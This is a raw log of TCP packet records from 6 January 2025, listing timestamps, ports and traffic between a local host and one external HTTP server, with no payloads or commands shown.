Jan 6, 2025 07:59:04.276104927 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.319669008 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.327698946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.327727079 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.327739954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.327784061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.327795982 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.327796936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.327809095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.327821970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.327837944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.327863932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364115953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364168882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364182949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364202023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364202023 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364212036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364223003 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364228010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364280939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364289999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364300013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364315033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364326000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364336014 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364343882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364355087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364367962 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364372015 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364393950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364398956 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364411116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364417076 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364422083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364432096 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364443064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364448071 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364454031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364470959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364480019 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364481926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364491940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364499092 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364502907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364521027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364531040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364535093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364545107 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364556074 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364556074 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364574909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364582062 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364588022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364598036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364609003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364613056 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364628077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364630938 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364639044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364650011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364656925 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364672899 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364727020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364742994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364753962 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364763975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364763975 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364780903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364790916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364793062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364809036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364813089 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364825964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364842892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364845037 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364861965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364872932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364882946 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364882946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364893913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364903927 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364906073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364916086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364928007 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.364931107 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.364955902 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365019083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365031004 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365055084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365061045 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365067005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365077019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365087986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365093946 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365099907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365109921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365118980 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365127087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365138054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365144968 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365149021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365159988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365163088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365184069 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365185022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365195036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365206957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365216970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365228891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365230083 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365240097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365251064 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365252018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365273952 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365284920 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365289927 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365300894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365314960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365324974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365334988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365336895 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365346909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365359068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365360975 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365370989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365389109 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365406990 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365410089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365421057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365427017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365432978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365442038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365452051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365463018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365468979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365488052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365540981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365551949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365561008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365571976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365582943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365586042 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365593910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365607023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365611076 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365649939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365704060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365715027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365725040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365736961 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365746975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365748882 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365757942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365768909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365777016 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365778923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365787029 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365791082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365802050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365819931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365828037 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365830898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365842104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365853071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365853071 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365864038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365864992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365874052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365885019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365892887 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365897894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.365919113 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.365936041 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.366383076 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366403103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366411924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366446972 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.366467953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366478920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366488934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366499901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366499901 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.366511106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.366523981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.366552114 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.418165922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418176889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418188095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418210030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418220997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418262005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418262005 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.418279886 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.418281078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418296099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418303013 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.418303967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.418329954 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.460256100 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485692978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485733032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485750914 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485764027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485774994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485780001 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485791922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485809088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485810041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485822916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485833883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485838890 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485846043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485865116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485871077 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485877991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485898018 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485898972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485909939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485917091 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485920906 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485933065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485951900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485956907 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485964060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485975981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.485980988 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.485994101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486006021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486006021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486017942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486028910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486033916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486041069 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486068964 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486087084 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486130953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486141920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486151934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486165047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486176968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486182928 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486186981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486206055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486206055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486217976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486226082 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486229897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486242056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486252069 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486259937 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486272097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486277103 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486284018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486311913 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486351967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486362934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486372948 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486387014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486388922 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486407995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486414909 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486419916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486430883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486443043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486454010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486454964 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486468077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486481905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486481905 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486495972 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486524105 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486531019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486541986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486552000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486563921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486576080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486588001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486592054 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486608982 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486629009 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486635923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486648083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486659050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486670017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486681938 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486684084 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486691952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486705065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486713886 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486737967 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486761093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486772060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486782074 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486794949 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486805916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486816883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486819983 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486828089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486839056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486850023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486861944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486861944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486888885 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486905098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486906052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486917019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486927032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486938953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486949921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486952066 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.486960888 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486972094 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.486974001 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487000942 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487057924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487070084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487080097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487091064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487097025 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487102032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487112999 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487113953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487126112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487135887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487137079 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487149000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487155914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487160921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487198114 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487215996 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487229109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487240076 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487251997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487253904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487273932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.487323999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487335920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487346888 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.487359047 CET	80	49706	147.45.44.131	192.168.2.5
